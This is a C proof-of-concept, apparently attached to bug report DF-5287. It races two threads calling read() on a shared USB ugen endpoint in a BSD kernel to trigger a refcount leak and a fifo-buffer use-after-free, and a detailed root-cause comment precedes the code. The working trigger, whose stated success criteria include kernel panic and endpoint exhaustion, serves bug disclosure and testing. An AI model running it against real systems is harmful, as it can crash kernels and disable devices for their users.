DF-5287 / df5287.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 | /* * DF-5287 -- concurrent read() on a shared ugen endpoint fd races * ugen_transfer_setup() and orphans a live usb_xfer allocation * (endpoint refcount_alloc / setup_refcount leak, fifo mbuf UAF). * * Root cause (sys/bus/u4b/usb_generic.c): * ugen_start_read() -> ugen_open_pipe_read() checks * if (f->xfer[0] || f->xfer[1]) return (0); * under f->priv_lock, but ugen_transfer_setup() then DROPS * priv_lock while calling the sleeping usbd_transfer_setup() * [usb_generic.c:145-152]. A second thread calling read() on the * same fd passes the same "no xfers" check and runs a second * usbd_transfer_setup() on the same f->xfer[] array. * usbd_transfer_setup()'s entry loop writes ppxfer[n] = NULL * [sys/bus/u4b/usb_transfer.c:935], clobbering the first setup's * pointers: the first xfer pair is orphaned -- * * xfer->endpoint->refcount_alloc never dropped, * * info->setup_refcount never reaches 0 => memory never freed, * * after USB_EP_REF_MAX(0x3f) orphans, usbd_transfer_setup() * fails (USB_ERR_INVAL) forever => read() returns EIO. * Additionally ugen_transfer_setup() calls usb_fifo_alloc_buffer() * -> usb_fifo_free_buffer() with priv_lock NOT held * [sys/bus/u4b/usb_dev.c:2009], which kfree()s the fifo mbuf * storage and memsets the queues while live callbacks iterate them * under priv_lock => use-after-free. * * Build: cc -o df5287 df5287.c -pthread * Run: ./df5287 [iterations] * Success criterion: read() starts returning EIO (endpoint refcount * exhausted by orphaned xfers -- proves >= 61 double-setups leaked), * and/or kernel memory in M_USB/M_USBDEV grows accordingly, and/or * panic from the fifo buffer UAF. */ #include <sys/types.h> #include <err.h> #include <errno.h> #include <fcntl.h> #include <pthread.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #ifndef DEV #define DEV "/dev/usb/0.2.1" /* interrupt IN endpoint of ugen0.2 */ #endif static int fd; static int eio_seen; struct rarg { pthread_barrier_t *bar; int n; }; static void * reader(void *arg) { struct rarg *ra = arg; char buf[64]; int i; pthread_barrier_wait(ra->bar); for (i = 0; i < ra->n; i++) { ssize_t n = read(fd, buf, sizeof(buf)); if (n < 0 && errno == EIO) { eio_seen = 1; break; } } return (NULL); } int main(int argc, char **argv) { pthread_t a, b; pthread_barrier_t bar; struct rarg ra; int i, iter = (argc > 1) ? atoi(argv[1]) : 2000; for (i = 0; i < iter; i++) { fd = open(DEV, O_RDONLY | O_NONBLOCK); if (fd < 0) { if (errno == EIO || errno == ENXIO) { printf("open EIO/ENXIO after %d iters " "(endpoint dead)\n", i); return (2); } err(1, "open (iter %d)", i); } ra.n = 4; ra.bar = &bar; pthread_barrier_init(&bar, NULL, 2); if (pthread_create(&a, NULL, reader, &ra) || pthread_create(&b, NULL, reader, &ra)) err(1, "pthread_create"); pthread_join(a, NULL); pthread_join(b, NULL); pthread_barrier_destroy(&bar); close(fd); if (eio_seen) { printf("EIO after %d iterations " "(endpoint refcount_alloc exhausted by " "orphaned usb_xfers -- double-setup race " "won >= 61 times)\n", i); return (2); } if ((i % 100) == 0) { printf("iter %d\n", i); fflush(stdout); } } printf("no EIO after %d iterations (race not won often enough)\n", iter); return (0); } |